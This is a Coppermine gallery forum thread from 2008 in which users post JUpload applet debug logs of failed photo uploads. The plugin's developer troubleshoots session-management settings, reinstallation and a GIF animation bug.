11:57:03.421 [DEBUG] freeMemory (after hasToTransformPicture) : 52649568
11:57:03.515 [DEBUG] freeMemory (after hasToTransformPicture) : 53093304
11:57:03.531 [DEBUG] Using transformed temp file C:\DOCUME~1\BE400097\LOCALS~1\Temp\jupload_32078.tmp for 41890-caribbean_1600x1200.jpg
11:57:03.531 [DEBUG] getBufferedImage: start
11:57:03.531 [DEBUG] Resizing factor (scale): 2.0
11:57:03.531 [DEBUG] Picture is now rescaled
11:57:03.531 [DEBUG] bufferedImage: BufferedImage@190dc79: type = 5 ColorModel: #pixelBits = 24 numComponents = 3 color space = java.awt.color.ICC_ColorSpace@17aa55b transparency = 1 has alpha = false isAlphaPre = false ByteInterleavedRaster: width = 1600 height = 1200 #numDataElements 3 dataOff[0] = 2
11:57:03.531 [DEBUG] bufferedImage MinX: 0
11:57:03.531 [DEBUG] bufferedImage MinY: 0
11:57:03.531 [DEBUG] getBufferedImage: was 0 ms long
11:57:03.531 [DEBUG] ImageWriter1 (used), CompressionQuality=0.8
11:57:03.531 [INFO] Start of metadata managing, for 41890-caribbean_1600x1200.jpg
11:57:03.750 [DEBUG] freeMemory (after getTransformedPictureFile) : 53070784
11:57:03.750 [DEBUG] transformedPictureFile : jupload_32078.tmp
11:57:03.750 [DEBUG] [getWorkingSourceFile] Creating a copy of img1.jpg as a source working target.
11:57:03.750 [DEBUG] Using working copy temp file C:\DOCUME~1\BE400097\LOCALS~1\Temp\jupload_32079.tmp.jpg for img1.jpg
11:57:03.781 [DEBUG] File read: C:\DOCUME~1\BE400097\LOCALS~1\Temp\jupload_32079.tmp.jpg
11:57:04.031 [DEBUG] freeMemory (after end of readImage) : 50559936
11:57:04.093 [DEBUG] freeMemory (after hasToTransformPicture) : 50552520
11:57:04.203 [DEBUG] freeMemory (after hasToTransformPicture) : 50559384
11:57:04.203 [DEBUG] Using transformed temp file C:\DOCUME~1\BE400097\LOCALS~1\Temp\jupload_32080.tmp for img1.jpg
11:57:04.203 [DEBUG] getBufferedImage: start
11:57:04.203 [DEBUG] Resizing factor (scale): 1.6666666666666667
11:57:04.203 [DEBUG] Picture is now rescaled
11:57:04.203 [DEBUG] bufferedImage: BufferedImage@1205d8d: type = 5 ColorModel: #pixelBits = 24 numComponents = 3 color space = java.awt.color.ICC_ColorSpace@17aa55b transparency = 1 has alpha = false isAlphaPre = false ByteInterleavedRaster: width = 1920 height = 1440 #numDataElements 3 dataOff[0] = 2
11:57:04.203 [DEBUG] bufferedImage MinX: 0
11:57:04.203 [DEBUG] bufferedImage MinY: 0
11:57:04.203 [DEBUG] getBufferedImage: was 0 ms long
11:57:04.203 [DEBUG] ImageWriter1 (used), CompressionQuality=0.8
11:57:04.203 [INFO] Start of metadata managing, for img1.jpg
11:57:04.468 [DEBUG] freeMemory (after getTransformedPictureFile) : 50529360
11:57:04.468 [DEBUG] transformedPictureFile : jupload_32080.tmp
11:57:04.484 [DEBUG] file 0: content=298037 bytes, getAdditionnalBytesForUpload=1637 bytes
11:57:04.484 [DEBUG] chunkHttpParam: jupart=0&jufinal=1
11:57:04.500 [DEBUG] Cookie: coppermine_data=YTozOntzOjI6IklEIjtzOjMyOiIwZWJkYjE1NTZlZGFiNjQ5YTc5YTU4ZTQzOGEwNTYyNCI7czoyOiJhbSI7aToxO3M6NDoibGFuZyI7czo1OiJkdXRjaCI7fQ%3D%3D; f0f10ca751f649690b68873c0ee4f18a=31ab63d321134515c0e7749dc7d09b15; PHPSESSID=78b41f621922bc09bfb1b8e62c7e1f92
11:57:04.500 [DEBUG] User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.11
11:57:04.500 [DEBUG] Using non SSL socket, proxy=193.210.163.73:8080
11:57:04.500 [DEBUG] === main header (len=1188):
11:57:04.500 [DEBUG] POST http://foto.strat3go.com/index.php?file=jupload/jupload&action=upload_picture&album=1 HTTP/1.1\r\n
11:57:04.500 [DEBUG] Host: foto.strat3go.com\r\n
11:57:04.500 [DEBUG] Accept: */*\r\n
11:57:04.500 [DEBUG] Accept-Encoding: identity\r\n
11:57:04.500 [DEBUG] Connection: close\r\n
11:57:04.500 [DEBUG] Content-Type: multipart/form-data; boundary=---------------------------3tygfvwgqkk\r\n
11:57:04.500 [DEBUG] Content-Length: 300178\r\n
11:57:04.500 [DEBUG] Content-Type: UTF-8\r\n
11:57:04.500 [DEBUG] Cookie: coppermine_data=YTozOntzOjI6IklEIjtzOjMyOiIwZWJkYjE1NTZlZGFiNjQ5YTc5YTU4ZTQzOGEwNTYyNCI7czoyOiJhbSI7aToxO3M6NDoibGFuZyI7czo1OiJkdXRjaCI7fQ%3D%3D; f0f10ca751f649690b68873c0ee4f18a=31ab63d321134515c0e7749dc7d09b15; PHPSESSID=78b41f621922bc09bfb1b8e62c7e1f92\r\n
11:57:04.500 [DEBUG] User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.11\r\n
11:57:04.500 [DEBUG] \r\n
11:57:04.500 [DEBUG] -----------------------------3tygfvwgqkk\r\n
11:57:04.500 [DEBUG] Content-Disposition: form-data; name="file"\r\n
11:57:04.500 [DEBUG] Content-Transfer-Encoding: 8bit\r\n
11:57:04.500 [DEBUG] Content-Type: text/plain; UTF-8\r\n
11:57:04.500 [DEBUG] \r\n
11:57:04.500 [DEBUG] jupload/jupload\r\n
11:57:04.500 [DEBUG] -----------------------------3tygfvwgqkk\r\n
11:57:04.500 [DEBUG] Content-Disposition: form-data; name="album"\r\n
11:57:04.500 [DEBUG] Content-Transfer-Encoding: 8bit\r\n
11:57:04.500 [DEBUG] Content-Type: text/plain; UTF-8\r\n
11:57:04.500 [DEBUG] \r\n
11:57:04.500 [DEBUG] 1\r\n
11:57:04.500 [DEBUG] -----------------------------3tygfvwgqkk\r\n
11:57:04.500 [DEBUG] Content-Disposition: form-data; name="action"\r\n
11:57:04.500 [DEBUG] Content-Transfer-Encoding: 8bit\r\n
11:57:04.500 [DEBUG] Content-Type: text/plain; UTF-8\r\n
11:57:04.500 [DEBUG] \r\n
11:57:04.500 [DEBUG] upload_picture\r\n
11:57:04.500 [DEBUG] === main header end
#some stuff removed here
11:57:04.500 [DEBUG] C:\Documents and Settings\BE400097\My Documents\My Pictures\r\n
11:57:04.500 [DEBUG] -----------------------------3tygfvwgqkk\r\n
11:57:04.500 [DEBUG] Content-Disposition: form-data; name="relpathinfo[]"\r\n
11:57:04.500 [DEBUG] Content-Transfer-Encoding: 8bit\r\n
11:57:04.500 [DEBUG] Content-Type: text/plain; UTF-8\r\n
11:57:04.500 [DEBUG] \r\n
11:57:04.500 [DEBUG] \r\n
11:57:04.500 [DEBUG] -----------------------------3tygfvwgqkk\r\n
11:57:04.500 [DEBUG] Content-Disposition: form-data; name="filemodificationdate[]"\r\n
11:57:04.500 [DEBUG] Content-Transfer-Encoding: 8bit\r\n
11:57:04.500 [DEBUG] Content-Type: text/plain; UTF-8\r\n
11:57:04.500 [DEBUG] \r\n
11:57:04.500 [DEBUG] 04/10/2007 08:54:19\r\n
11:57:04.500 [DEBUG] -----------------------------3tygfvwgqkk\r\n
11:57:04.500 [DEBUG] Content-Disposition: form-data; name="userpicture"; filename="41890-caribbean_1600x1200.jpg"\r\n
11:57:04.500 [DEBUG] Content-Type: image/jpeg\r\n
11:57:04.500 [DEBUG] \r\n
11:57:04.500 [DEBUG] --- fileheader end
11:57:04.500 [DEBUG] in UploadFileData.uploadFile (amount:298037, getUploadLength(): 298037)
11:57:04.812 [DEBUG] --- filetail start (len=239):
11:57:04.812 [DEBUG] \r\n
11:57:04.812 [DEBUG] -----------------------------3tygfvwgqkk\r\n
11:57:04.812 [DEBUG] Content-Disposition: form-data; name="md5sum[]"\r\n
11:57:04.812 [DEBUG] Content-Transfer-Encoding: 8bit\r\n
11:57:04.812 [DEBUG] Content-Type: text/plain; UTF-8\r\n
11:57:04.812 [DEBUG] \r\n
11:57:04.812 [DEBUG] 88352f1f1f00637b25ee35097bc4ea82\r\n
11:57:04.812 [DEBUG] -----------------------------3tygfvwgqkk--\r\n
11:57:04.812 [DEBUG] --- filetail end
11:57:05.406 [DEBUG] -------- Response Headers Start --------
11:57:05.406 [DEBUG] HTTP/1.1 200 OK
11:57:05.406 [DEBUG] Via: 1.1 BRUC993A
11:57:05.406 [DEBUG] Connection: close
11:57:05.406 [DEBUG] Proxy-Connection: close
11:57:05.406 [DEBUG] Content-Length: 14
11:57:05.406 [DEBUG] Date: Thu, 07 Feb 2008 10:58:29 GMT
11:57:05.406 [DEBUG] Content-Type: text/html
11:57:05.406 [DEBUG] Server: Apache
11:57:05.406 [DEBUG] Keep-Alive: timeout=10
11:57:05.406 [DEBUG]
11:57:05.406 [DEBUG] --------- Response Headers End ---------
11:57:05.406 [DEBUG] HTTP status: 200 OK
11:57:05.406 [DEBUG] -------- Response Body Start --------
11:57:05.421 [DEBUG] Before DELETE
11:57:05.421 [DEBUG] --------- Response Body End ---------
11:57:42.593 [ERROR] wjhk.jupload2.exception.JUploadExceptionUploadFailed: wjhk.jupload2.policies.CoppermineUploadPolicy.checkUploadSuccess(): The string "^SUCCESS$" was not found in the response body (wjhk.jupload2.policies.CoppermineUploadPolicy.checkUploadSuccess(): The string "^SUCCESS$" was not found in the response body)
11:57:42.593 wjhk.jupload2.exception.JUploadExceptionUploadFailed: wjhk.jupload2.policies.CoppermineUploadPolicy.checkUploadSuccess(): The string "^SUCCESS$" was not found in the response body
11:57:42.593 at wjhk.jupload2.policies.DefaultUploadPolicy.checkUploadSuccess(DefaultUploadPolicy.java:612)
11:57:42.593 at wjhk.jupload2.upload.DefaultFileUploadThread.doUpload(DefaultFileUploadThread.java:735)
11:57:42.593 at wjhk.jupload2.upload.DefaultFileUploadThread.run(DefaultFileUploadThread.java:487)
11:57:42.593 [DEBUG] FileUploadThread: within run().finally
11:57:42.593 [WARN] Temporary file not deleted
11:57:42.593 [WARN] Temporary file not deleted
11:57:43.843 [DEBUG] JUploadPanel: after !fileUploadThread.isAlive()
11:57:43.843 [WARN] CoppermineUploadPolicy.afterUpload: No file were uploaded! (0)

Opera:
Code: [Select]
12:06:13.040 [DEBUG] Action : Upload
12:06:13.071 [DEBUG] Upload done by using the wjhk.jupload2.upload.FileUploadThreadHTTP class
12:06:13.071 [DEBUG] [getWorkingSourceFile] Creating a copy of MexicoFeestje2007-10-06_18-50-47.JPG as a source working target.
12:06:13.071 [DEBUG] Using working copy temp file C:\DOCUME~1\DE-MAA~1\LOCALS~1\Temp\1\jupload_5367.tmp.JPG for MexicoFeestje2007-10-06_18-50-47.JPG
12:06:13.086 [DEBUG] File read: C:\DOCUME~1\DE-MAA~1\LOCALS~1\Temp\1\jupload_5367.tmp.JPG
12:06:13.102 [DEBUG] Timer started
12:06:13.180 [DEBUG] PicturePanel.paint(): offscreenImage is null
12:06:13.571 [DEBUG] freeMemory (after end of readImage) : 6243664
12:06:13.665 [DEBUG] freeMemory (after hasToTransformPicture) : 52078720
12:06:13.727 [DEBUG] freeMemory (after hasToTransformPicture) : 50759528
12:06:13.727 [DEBUG] Using transformed temp file C:\DOCUME~1\DE-MAA~1\LOCALS~1\Temp\1\jupload_5368.tmp for MexicoFeestje2007-10-06_18-50-47.JPG
12:06:13.727 [DEBUG] getBufferedImage: start
12:06:13.727 [DEBUG] Resizing factor (scale): 1.4203284509542833
12:06:13.727 [DEBUG] Picture is now rescaled
12:06:13.743 [DEBUG] bufferedImage: BufferedImage@d8c3ee: type = 5 ColorModel: #pixelBits = 24 numComponents = 3 color space = java.awt.color.ICC_ColorSpace@1277a30 transparency = 1 has alpha = false isAlphaPre = false ByteInterleavedRaster: width = 2253 height = 1690 #numDataElements 3 dataOff[0] = 2
12:06:13.743 [DEBUG] bufferedImage MinX: 0
12:06:13.743 [DEBUG] bufferedImage MinY: 0
12:06:13.743 [DEBUG] getBufferedImage: was 16 ms long
12:06:13.743 [DEBUG] ImageWriter1 (used), CompressionQuality=0.8
12:06:13.743 [INFO] Start of metadata managing, for MexicoFeestje2007-10-06_18-50-47.JPG
12:06:14.227 [DEBUG] freeMemory (after getTransformedPictureFile) : 45235848
12:06:14.227 [DEBUG] transformedPictureFile : jupload_5368.tmp
12:06:14.227 [DEBUG] [getWorkingSourceFile] Creating a copy of MexicoFeestje2007-10-06_18-51-04.JPG as a source working target.
12:06:14.227 [DEBUG] Using working copy temp file C:\DOCUME~1\DE-MAA~1\LOCALS~1\Temp\1\jupload_5369.tmp.JPG for MexicoFeestje2007-10-06_18-51-04.JPG
12:06:14.243 [DEBUG] File read: C:\DOCUME~1\DE-MAA~1\LOCALS~1\Temp\1\jupload_5369.tmp.JPG
12:06:14.586 [DEBUG] freeMemory (after end of readImage) : 36479704
12:06:14.665 [DEBUG] freeMemory (after hasToTransformPicture) : 36480504
12:06:14.727 [DEBUG] freeMemory (after hasToTransformPicture) : 36470984
12:06:14.743 [DEBUG] Using transformed temp file C:\DOCUME~1\DE-MAA~1\LOCALS~1\Temp\1\jupload_5370.tmp for MexicoFeestje2007-10-06_18-51-04.JPG
12:06:14.743 [DEBUG] getBufferedImage: start
12:06:14.743 [DEBUG] Resizing factor (scale): 1.4203284509542833
12:06:14.743 [DEBUG] Picture is now rescaled
12:06:14.743 [DEBUG] bufferedImage: BufferedImage@7ed081: type = 5 ColorModel: #pixelBits = 24 numComponents = 3 color space = java.awt.color.ICC_ColorSpace@1277a30 transparency = 1 has alpha = false isAlphaPre = false ByteInterleavedRaster: width = 2253 height = 1690 #numDataElements 3 dataOff[0] = 2
12:06:14.743 [DEBUG] bufferedImage MinX: 0
12:06:14.743 [DEBUG] bufferedImage MinY: 0
12:06:14.743 [DEBUG] getBufferedImage: was 0 ms long
12:06:14.743 [DEBUG] ImageWriter1 (used), CompressionQuality=0.8
12:06:14.743 [INFO] Start of metadata managing, for MexicoFeestje2007-10-06_18-51-04.JPG
12:06:15.196 [DEBUG] freeMemory (after getTransformedPictureFile) : 36452616
12:06:15.196 [DEBUG] transformedPictureFile : jupload_5370.tmp
12:06:15.196 [DEBUG] [getWorkingSourceFile] Creating a copy of MexicoFeestje2007-10-06_18-53-28.JPG as a source working target.
12:06:15.211 [DEBUG] Using working copy temp file C:\DOCUME~1\DE-MAA~1\LOCALS~1\Temp\1\jupload_5371.tmp.JPG for MexicoFeestje2007-10-06_18-53-28.JPG
12:06:15.211 [DEBUG] File read: C:\DOCUME~1\DE-MAA~1\LOCALS~1\Temp\1\jupload_5371.tmp.JPG
12:06:15.555 [DEBUG] freeMemory (after end of readImage) : 36464744
12:06:15.633 [DEBUG] freeMemory (after hasToTransformPicture) : 36460272
12:06:15.711 [DEBUG] freeMemory (after hasToTransformPicture) : 36450464
12:06:15.711 [DEBUG] Using transformed temp file C:\DOCUME~1\DE-MAA~1\LOCALS~1\Temp\1\jupload_5372.tmp for MexicoFeestje2007-10-06_18-53-28.JPG
12:06:15.711 [DEBUG] getBufferedImage: start
12:06:15.711 [DEBUG] Resizing factor (scale): 1.4203284509542833
12:06:15.711 [DEBUG] Picture is now rescaled
12:06:15.711 [DEBUG] bufferedImage: BufferedImage@ec1f9e: type = 5 ColorModel: #pixelBits = 24 numComponents = 3 color space = java.awt.color.ICC_ColorSpace@1277a30 transparency = 1 has alpha = false isAlphaPre = false ByteInterleavedRaster: width = 2253 height = 1690 #numDataElements 3 dataOff[0] = 2
12:06:15.711 [DEBUG] bufferedImage MinX: 0
12:06:15.711 [DEBUG] bufferedImage MinY: 0
12:06:15.711 [DEBUG] getBufferedImage: was 0 ms long
12:06:15.711 [DEBUG] ImageWriter1 (used), CompressionQuality=0.8
12:06:15.727 [INFO] Start of metadata managing, for MexicoFeestje2007-10-06_18-53-28.JPG
12:06:16.165 [DEBUG] freeMemory (after getTransformedPictureFile) : 36434784
12:06:16.180 [DEBUG] transformedPictureFile : jupload_5372.tmp
12:06:20.133 [DEBUG] file 0: content=657969 bytes, getAdditionnalBytesForUpload=1622 bytes
12:06:20.133 [DEBUG] chunkHttpParam: jupart=0&jufinal=1
12:06:20.149 [DEBUG] Cookie: 08bb87e2215cde05a43bec75df5daae8=ab7a10d81e98185ccbf0f5bb46b2cce2; PHPSESSID=0cbb4d897f73e1b9082ad8cf9ad7b17e; coppermine_data=YTo0OntzOjI6IklEIjtzOjMyOiIzZDI5ZWFiOGVlNDgyNzM2NDhhZTdjODg1YWE3ZDE0YyI7czoyOiJhbSI7aToxO3M6NDoibGFuZyI7czo1OiJkdXRjaCI7czozOiJsaXYiO2E6MTp7aTowO3M6MToiMSI7fX0%3D
12:06:20.149 [DEBUG] User-Agent: Opera/9.23 (Windows NT 5.2; U; en)
12:06:20.165 [DEBUG] Using non SSL socket, direct connection
12:06:20.196 [DEBUG] === main header (len=1143):
12:06:20.196 [DEBUG] POST /index.php?file=jupload/jupload&action=upload_picture&album=1 HTTP/1.1\r\n
12:06:20.196 [DEBUG] Host: foto.strat3go.com\r\n
12:06:20.196 [DEBUG] Accept: */*\r\n
12:06:20.196 [DEBUG] Accept-Encoding: identity\r\n
12:06:20.196 [DEBUG] Connection: close\r\n
12:06:20.196 [DEBUG] Content-Type: multipart/form-data; boundary=---------------------------4u2pvm2u0hj\r\n
12:06:20.196 [DEBUG] Content-Length: 660095\r\n
12:06:20.196 [DEBUG] Content-Type: UTF-8\r\n
12:06:20.196 [DEBUG] Cookie: 08bb87e2215cde05a43bec75df5daae8=ab7a10d81e98185ccbf0f5bb46b2cce2; PHPSESSID=0cbb4d897f73e1b9082ad8cf9ad7b17e; coppermine_data=YTo0OntzOjI6IklEIjtzOjMyOiIzZDI5ZWFiOGVlNDgyNzM2NDhhZTdjODg1YWE3ZDE0YyI7czoyOiJhbSI7aToxO3M6NDoibGFuZyI7czo1OiJkdXRjaCI7czozOiJsaXYiO2E6MTp7aTowO3M6MToiMSI7fX0%3D\r\n
12:06:20.196 [DEBUG] User-Agent: Opera/9.23 (Windows NT 5.2; U; en)\r\n
12:06:20.196 [DEBUG] \r\n
12:06:20.196 [DEBUG] -----------------------------4u2pvm2u0hj\r\n
12:06:20.196 [DEBUG] Content-Disposition: form-data; name="file"\r\n
12:06:20.196 [DEBUG] Content-Transfer-Encoding: 8bit\r\n
12:06:20.196 [DEBUG] Content-Type: text/plain; UTF-8\r\n
12:06:20.196 [DEBUG] \r\n
12:06:20.196 [DEBUG] jupload/jupload\r\n
12:06:20.196 [DEBUG] -----------------------------4u2pvm2u0hj\r\n
12:06:20.196 [DEBUG] Content-Disposition: form-data; name="album"\r\n
12:06:20.196 [DEBUG] Content-Transfer-Encoding: 8bit\r\n
12:06:20.196 [DEBUG] Content-Type: text/plain; UTF-8\r\n
12:06:20.196 [DEBUG] \r\n
12:06:20.196 [DEBUG] 1\r\n
12:06:20.196 [DEBUG] -----------------------------4u2pvm2u0hj\r\n
12:06:20.196 [DEBUG] Content-Disposition: form-data; name="action"\r\n
12:06:20.196 [DEBUG] Content-Transfer-Encoding: 8bit\r\n
12:06:20.196 [DEBUG] Content-Type: text/plain; UTF-8\r\n
12:06:20.196 [DEBUG] \r\n
12:06:20.196 [DEBUG] upload_picture\r\n
12:06:20.211 [DEBUG] === main header end
12:06:20.211 [DEBUG] --- fileheader start (len=1383):
## some 4u2pvm2u0hj-messages removed
12:06:37.180 [DEBUG]
12:06:37.180 [DEBUG] --------- Response Headers End ---------
12:06:37.180 [DEBUG] HTTP status: 200 OK
12:06:37.180 [DEBUG] -------- Response Body Start --------
12:06:37.180 [DEBUG] Before DELETE
12:06:37.180 [DEBUG] --------- Response Body End ---------
12:08:23.899 [ERROR] wjhk.jupload2.exception.JUploadExceptionUploadFailed: wjhk.jupload2.policies.CoppermineUploadPolicy.checkUploadSuccess(): The string "^SUCCESS$" was not found in the response body (wjhk.jupload2.policies.CoppermineUploadPolicy.checkUploadSuccess(): The string "^SUCCESS$" was not found in the response body)
12:08:23.899 wjhk.jupload2.exception.JUploadExceptionUploadFailed: wjhk.jupload2.policies.CoppermineUploadPolicy.checkUploadSuccess(): The string "^SUCCESS$" was not found in the response body
12:08:23.899 at wjhk.jupload2.policies.DefaultUploadPolicy.checkUploadSuccess(DefaultUploadPolicy.java:612)
12:08:23.899 at wjhk.jupload2.upload.DefaultFileUploadThread.doUpload(DefaultFileUploadThread.java:735)
12:08:23.899 at wjhk.jupload2.upload.DefaultFileUploadThread.run(DefaultFileUploadThread.java:487)
12:08:23.899 [DEBUG] FileUploadThread: within run().finally
12:08:23.899 [WARN] Temporary file not deleted
12:08:23.899 [WARN] Temporary file not deleted
12:08:23.915 [WARN] Temporary file not deleted
12:08:25.836 [DEBUG] JUploadPanel: after !fileUploadThread.isAlive()
12:08:25.836 [WARN] CoppermineUploadPolicy.afterUpload: No file were uploaded! (0)

I don't know what do to get this error fixed.  ???
Title: Re: The string SUCCESS was not found in the response body
Post by: etienne_sf on February 07, 2008, 06:52:41 pm
After a brand new install of Coppermine 1.4.16 and the latest Jupload 3.0.0rc4, i still get the SUCCESS error when I try to use the plugin.
I've put PHP Safe mode to off, and I checked all the access rights twice, I even changed the ownership of the entire domain to the user running the apache process. Normal file-by-file upload works as well.
Here's an outpot from the debug log, with Opera and Firefox browsers:
Firefox:

I don't know what do to get this error fixed.  ???

In the JUpload configuration page, you've selected the 'JUpload' value sessionManagement, correct ?

If not, can you just go to the JUpload configuration page. It would create a table that may be missing on your configuration. This should not be a problem. I'll give it a try.


Etienne
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: tiburcillo on February 07, 2008, 06:56:38 pm
I'll try that right away & report back. So all I have to do is put 'JUpload' with case/accents like that and it should work.

Exciting! >_<

edit: I tried with JUpload and 'JUpload'. Still the same error. :(

[Edit GauGau] Replaced hotlinked images with attachments [/Edit]

Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: etienne_sf on February 07, 2008, 09:13:55 pm
I'll try that right away & report back. So all I have to do is put 'JUpload' with case/accents like that and it should work.

Exciting! >_<

edit: I tried with JUpload and 'JUpload'. Still the same error. :(
(http://files.strat3go.com/sessionmgt.jpg)


Hum,

Did you go on the JUpload configuration page ?  It should have corrected your problem.

Please, also take a look at the release 3.0.0, following this message.

Etienne
Title: Release 3.0.0
Post by: etienne_sf on February 07, 2008, 09:27:46 pm
Hi,

  Here is the announce for the 3.0.0 official Release.

The release is available here :
http://forum.coppermine-gallery.net/index.php?action=dlattach;topic=43432.0;attach=10363

or on my wiki
http://etienne.lesgauthier.fr/wiki/doku.php?id=jupload_coppermine_download_gb (http://etienne.lesgauthier.fr/wiki/doku.php?id=jupload_coppermine_download_gb)




Release notes for 3.0.0:

This is a hotfix for 3.0.0rc4, and official 3.0.0 release.
3.0.0rc4 works ok, provided that you first take a look at the JUpload configuration page !

Change:
  * [Minor] The configuration parameter sessionManagement is now a list of values. Avoid someone typing jupload instead of JUpload, for instance.

Fix:
  * [Major] Release 3.0.0rc3 and 3.0.0rc4 need that the admin go to the configuration page, before beging to upload pictures, even without saving any configuration parameter: it creates a table that should be needed only in specific cases (when switching sessionManagement to JUpload)


Etienne
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: tiburcillo on February 07, 2008, 09:43:17 pm
I'm really sorry Etienne.
There's a little progress: I managed to upload one single file, but then got the error again. I'm starting to think there's something with my webhosting, because I copied the entire thing to a local LAMP PC i have here, and there it works as a charm.

I've included a complete log (from previous version though) and a screenshot of the newest version.

Log: http://files.strat3go.com/completelog.log

[Edit GauGau] Replaced hotlinked image with attachment [/Edit]

If you want to check the website, please go to foto.strat3go.com. I can give you an account if you want. :)
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: Joachim Mller on February 08, 2008, 01:46:37 pm
[moderation]
Stop posting hotlinked images - it causes a lot of moderation effort to replace them with attachments. You can add the attchments yourself in the first place instead (using "additional options" when composing your message). Hotlinked images go down, renedering your posting useless for others in the future. Attachments remain.
[/moderation]
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: tiburcillo on February 08, 2008, 04:37:58 pm
I'm sorry, I was trying to save you guys some bandwidth. :) I'll use attachment mode from now on.

Anyways, ontopic: I've been looking at some variables I can configure with my hosting service (servage.net), which could maybe help in getting the script to work:
PHP Safe Mode - Off
PHP Safe Mode GID - Off
PHP Register Globals - On
PHP Acceleration - On
PHP Acceleration Check Script Modification - Off
Shared SSL - Off
Temporary URL - Off

You told me earlier to switch off safe mode which helped me getting a little bit further. I don't know if any of these options could help, but if you notice somthing that might be important, don't hesitate to let me know!
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: etienne_sf on February 08, 2008, 06:45:34 pm
I'm sorry, I was trying to save you guys some bandwidth. :) I'll use attachment mode from now on.

Anyways, ontopic: I've been looking at some variables I can configure with my hosting service (servage.net), which could maybe help in getting the script to work:
PHP Safe Mode - Off
PHP Safe Mode GID - Off
PHP Register Globals - On
PHP Acceleration - On
PHP Acceleration Check Script Modification - Off
Shared SSL - Off
Temporary URL - Off

You told me earlier to switch off safe mode which helped me getting a little bit further. I don't know if any of these options could help, but if you notice somthing that might be important, don't hesitate to let me know!

Hi,

  You're getting a very strange problem. It looks like dke's one: installation problem. You're hanging on a line that should not be executed in 3.0.0, if you've put default value (not JUpload) in sessionManagement.
 
  Can you :
- Uninstall JUpload, check that there is no more jupload subdirectory in the ./plugins, and re-install it.
- Then, reinstall JUpload.
 
  If that doesn't, I'll have to add some extra debug info. Mainly: the list of configuration parameters
 
Etienne
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: dke on February 09, 2008, 12:58:37 am
I'm really sorry Etienne.
There's a little progress: I managed to upload one single file, but then got the error again. I'm starting to think there's something with my webhosting, because I copied the entire thing to a local LAMP PC i have here, and there it works as a charm.

I've included a complete log (from previous version though) and a screenshot of the newest version.

Log: http://files.strat3go.com/completelog.log

[Edit GauGau] Replaced hotlinked image with attachment [/Edit]

If you want to check the website, please go to foto.strat3go.com. I can give you an account if you want. :)

I checked the attached screenshot and i was wondering if you have tested with any other images? I found a real strange set of images that was not corrupted in any case, but when i tried to add them with jupload i got this sessionid thing also. However i opened the images in photoshop, resaved them (no modiifcation) from jpg to jpg, and voila it worked.

This has never happend before only with these pictures.

I went over to etienne_sf's demo page to check if hes jupload could handle the pictures but it couldn't either.

To etienne_sf if this sounds interesting i could probably dig up the pictures again and you could see for your self.

Keep up the good work!
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: etienne_sf on February 09, 2008, 11:30:16 am
Hi,

  You're getting a very strange problem. It looks like dke's one: installation problem. You're hanging on a line that should not be executed in 3.0.0, if you've put default value (not JUpload) in sessionManagement.
 
  Can you :
- Uninstall JUpload, check that there is no more jupload subdirectory in the ./plugins, and re-install it.
- Then, reinstall JUpload.
 
  If that doesn't, I'll have to add some extra debug info. Mainly: the list of configuration parameters


Also, a detail: I didn't test with CPG 1.4.16. Its download is now on ...

Etienne


Hi,

  I'm really suprised about this problem.

  If uninstall/reinstall and putting sessionManagement to default value (empty string) didn't correct your problem, please try the new package I've put on my wiki (3.0.0debug1) I've add a lot of debug info, to understand what's happening on your system.
http://etienne.lesgauthier.fr/wiki/doku.php?id=jupload_coppermine_download_gb (http://etienne.lesgauthier.fr/wiki/doku.php?id=jupload_coppermine_download_gb)

Etienne

Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: dke on February 10, 2008, 12:50:48 am
Reporting a bug with the latest release 3.0.0

Gif animations will get ruined when uploaded through this build.

I tested your gallery and i got the same result, see here: http://etiennegauthier.free.fr/coppermine/thumbnails.php?album=155 (http://etiennegauthier.free.fr/coppermine/thumbnails.php?album=155)

All those 3 pictures are animations that move, all of them work when uploaded via upload.php or the older jupload builds (2.6.3 tested)

I would also like to request or ask if the following is possible.

I noticed these 2 values in upload_picture.php
Code: [Select]
    $movie_wd = isset($_POST['movie_wd']) ? (int)$_POST['movie_wd'] : 320;
$movie_ht = isset($_POST['movie_ht']) ? (int)$_POST['movie_ht'] : 240;

I was hoping these only were for "movie" content, but when i add audio they also get the same width and height as the code above. Is it possible to identify audio (mid,mp3,wav) and give all this content width 0 heigh 0 directly when uploaded instead of taking the default movie heigh/width value?

Thank you for the hard work!
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: etienne_sf on February 10, 2008, 10:50:09 am
Reporting a bug with the latest release 3.0.0

Gif animations will get ruined when uploaded through this build.

I tested your gallery and i got the same result, see here: http://etiennegauthier.free.fr/coppermine/thumbnails.php?album=155 (http://etiennegauthier.free.fr/coppermine/thumbnails.php?album=155)

All those 3 pictures are animations that move, all of them work when uploaded via upload.php or the older jupload builds (2.6.3 tested)

I would also like to request or ask if the following is possible.

I noticed these 2 values in upload_picture.php
Code: [Select]
    $movie_wd = isset($_POST['movie_wd']) ? (int)$_POST['movie_wd'] : 320;
$movie_ht = isset($_POST['movie_ht']) ? (int)$_POST['movie_ht'] : 240;

I was hoping these only were for "movie" content, but when i add audio they also get the same width and height as the code above. Is it possible to identify audio (mid,mp3,wav) and give all this content width 0 heigh 0 directly when uploaded instead of taking the default movie heigh/width value?

Thank you for the hard work!



Hi dke,


1) Are your (installation?) problems corrected ?

2) About gif animation: can you give the URL of one or several pictures that are badly transformed by the applet?

3) About your asking default height/width.
'Movies' are currently not managed by the applet. A simple way is be to add two fields (width, height) to the upload form (see explanation text just above the applet).
Added to my todo list.

Etienne
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: tiburcillo on February 10, 2008, 12:09:14 pm
Hi,

  I'm really suprised about this problem.
  If uninstall/reinstall and putting sessionManagement to default value (empty string) didn't correct your problem, please try the new package I've put on my wiki (3.0.0debug1) I've add a lot of debug info, to understand what's happening on your system.
